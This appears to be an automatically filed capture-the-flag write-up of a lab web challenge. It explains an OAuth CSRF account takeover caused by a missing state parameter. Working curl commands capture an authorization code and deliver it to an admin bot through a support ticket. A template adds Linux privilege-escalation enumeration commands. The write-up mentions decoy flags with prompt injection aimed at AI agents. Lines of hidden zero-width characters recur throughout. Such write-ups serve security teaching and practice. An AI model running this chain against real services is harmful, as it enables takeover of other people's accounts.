← Back to Writeups
HTBN/AWeb

CloudPulse — OAuth CSRF Account Takeover via Missing State Parameter

XESXOR8/23/20267 min read
#web#htb#n/a

CloudPulse — OAuth CSRF Account Takeover via Missing State Parameter

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-22 | Status: Solved Techniques: admin_bot_exploitation, authorization_code_interception, decoy_flag_evasion, oauth_account_linking_csrf, oauth_csrf_missing_state, privilege_escalation_via_oauth

Summary

Task: Express.js cloud monitoring platform with ConnectID SSO integration, admin bot visits support ticket URLs. Solution: OAuth CSRF via missing state parameter — register attacker ConnectID, capture authorization code, deliver callback URL to admin via support ticket, admin bot links attacker's ConnectID to admin account, then login as admin via ConnectID.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260522_hackadvisor_lab229_cloudpulse_oauth_csrf
  • Tags: nodejs, express, privilege_escalation, csrf, admin_bot, decoy_flag, account_takeover, sso, oauth, missing_state_parameter, connectid
  • Indicators: OAuth /oauth/link endpoint redirects to authorize URL without state parameter, Support ticket URL field visited by admin bot with admin session, /oauth/callback processes authorization codes without state verification, ConnectID registration open at /connectid/register, Account linking feature via OAuth that binds ConnectID identity to existing account
  • Source: 20260522_hackadvisor_lab229_cloudpulse_oauth_csrf.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_exploitation
  2. Authorization_code_interception
  3. Decoy_flag_evasion
  4. Oauth_account_linking_csrf
  5. Oauth_csrf_missing_state
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_exploitation
  • authorization_code_interception
  • decoy_flag_evasion
  • oauth_account_linking_csrf
  • oauth_csrf_missing_state
  • privilege_escalation_via_oauth
  • Tags: nodejs, express, privilege_escalation, csrf, admin_bot, decoy_flag, account_takeover, sso, oauth, missing_state_parameter, connectid

Original Writeup

<details><summary>Click to expand original content</summary>

Description

CloudPulse is a real-time cloud infrastructure monitoring platform built by Nimbus Software. It provides server health monitoring, CPU/memory/disk metrics, smart alerting, and team collaboration features. The platform recently added 'Login with ConnectID' as a single sign-on option alongside traditional email/password authentication. Users can link their existing CloudPulse accounts to ConnectID through the Settings page for convenient access. An admin actively monitors support tickets and investigates any links submitted by users. Your goal is to escalate your privileges and access the admin dashboard, which contains sensitive platform configuration data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js web application with traditional login and ConnectID OAuth SSO. Users can link their CloudPulse account to a ConnectID identity via the Settings page. A support ticket system allows submitting URLs that an admin bot visits. The goal is to access the admin dashboard containing the flag.

Credentials: user@test.com / password123

Analysis

Application Reconnaissance

  • Stack: Express.js behind nginx/1.25.5
  • Session: connect.sid cookie with HttpOnly; Secure; SameSite=Lax
  • Key endpoints:
  • /dashboard — user dashboard with server metrics
  • /settings — account settings with "ConnectID Integration" section
  • /support — support ticket submission with a "Reference URL" field
  • /oauth/link — initiates OAuth flow to link ConnectID to current account
  • /oauth/login — initiates OAuth flow for ConnectID login
  • /oauth/callback — processes authorization code from ConnectID
  • /connectid/authorize — ConnectID authorization endpoint
  • /connectid/register — ConnectID account registration
  • /admin/dashboard — admin-only dashboard containing the flag
  • Admin bot: The support page states "An administrator will review and visit any provided link to help diagnose the issue"
  • Admin user: "Sarah Chen" with role "admin"
  • Decoy flags: HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection attempts targeting AI agents — these are honeypots and must be ignored ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

OAuth Flow Analysis

The "Link ConnectID Account" button on /settings triggers the following flow:

  1. /oauth/link redirects to:
   http://localhost:8080/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code
  1. User authenticates with ConnectID credentials
  2. ConnectID redirects back to /oauth/callback?code=<authorization_code>
  3. The callback exchanges the code for the ConnectID identity and links it to the currently logged-in CloudPulse account ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The login flow (/oauth/login) uses the same URL with &mode=login appended — the callback looks up which CloudPulse account is linked to the ConnectID identity and logs in as that user.

The Vulnerability: Missing state Parameter

Critical observation: Neither /oauth/link nor /oauth/login includes a state parameter in the authorization URL.

The OAuth state parameter serves as a CSRF token — it binds the authorization request to the user's session. Without it, the /oauth/callback endpoint cannot verify that the callback was initiated by the same user who started the flow. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This enables a classic OAuth CSRF account takeover:

  1. Attacker initiates the OAuth flow with their own ConnectID credentials
  2. Attacker captures the resulting authorization code (without completing the callback)
  3. Attacker delivers the callback URL to the victim (admin)
  4. When the victim's browser visits the callback URL, the server links the attacker's ConnectID identity to the victim's CloudPulse account
  5. Attacker can now log in via ConnectID and gain the victim's session

The support ticket system provides the perfect delivery mechanism — the admin bot visits submitted URLs with its own authenticated session. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Register a ConnectID Account

Create an attacker-controlled ConnectID identity:

TARGET="https://2a4ee18b-c135-480e-a30e-ff4ce493e132.labs.hackadvisor.io"

curl -s -X POST "$TARGET/connectid/register" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=Attacker&email=attacker@evil.com&password=password123"

Response: Account created successfully with User ID cid-f1d36cc42c2523bc.

Step 2: Generate an Authorization Code

Authorize the attacker's ConnectID account against CloudPulse's OAuth flow, but capture the redirect instead of following it: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s -D - -o /dev/null \
  "$TARGET/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=attacker@evil.com&password=password123"

Response: 302 Found with:

Location: http://localhost:8080/oauth/callback?code=c25920592b09f69b2573f6fb1239f85b55e0522a80ce16d70cd6075ab0ce9052

The authorization code is captured without completing the callback. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Deliver the Callback URL to Admin via Support Ticket

Log in as the regular user and submit a support ticket with the OAuth callback URL:

# Login as regular user first
curl -s -c cookies.txt "$TARGET/login" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

# Submit support ticket with the malicious callback URL
curl -s -b cookies.txt "$TARGET/support" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "title=Server monitoring issue" \
  --data-urlencode "description=Please check this page for the monitoring error I found." \
  --data-urlencode "url=http://localhost:8080/oauth/callback?code=c25920592b09f69b2573f6fb1239f85b55e0522a80ce16d70cd6075ab0ce9052" \
  --data-urlencode "priority=high"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response: 302 Found/support?msg=ticket_created

What happens next: The admin bot visits the submitted URL. When it hits /oauth/callback?code=..., the server:

  1. Exchanges the code for the attacker's ConnectID identity (attacker@evil.com)
  2. Links that ConnectID identity to the currently authenticated user — the admin
  3. The attacker's ConnectID is now bound to the admin's CloudPulse account

The http://localhost:8080/... URL format works because the admin bot runs internally on the same server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Login as Admin via ConnectID

Wait ~15 seconds for the admin bot to process the ticket, then log in using the attacker's ConnectID credentials:

# Get a fresh authorization code for login mode
CODE=$(curl -s -D - -o /dev/null \
  "$TARGET/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code&mode=login" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=attacker@evil.com&password=password123" | grep -i location | grep -oP 'code=\K[a-f0-9]+')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Complete the login callback
curl -s -D - -c admin_cookies.txt \
  "$TARGET/oauth/callback?code=$CODE"

Response: 302 Found/admin/dashboardlogged in as admin!

The redirect to /admin/dashboard (instead of /dashboard) confirms we have the admin session.

Step 5: Access Admin Dashboard and Retrieve Flag

curl -s -b admin_cookies.txt "$TARGET/admin/dashboard"

The admin dashboard contains the flag in a <div class="flag-display"> element:

FLAG{REDACTED}

Failed Approaches

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • External URL in support ticket: First attempt used the full external HTTPS URL (https://...labs.hackadvisor.io/oauth/callback?code=...) instead of http://localhost:8080/.... The admin bot may not have resolved the external hostname correctly, or the authorization code expired before the bot visited. Using the internal localhost:8080 URL was required.
  • Timing: Needed to wait ~15 seconds after submitting the support ticket before attempting the ConnectID login, to allow the admin bot to process the ticket and complete the account linking. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR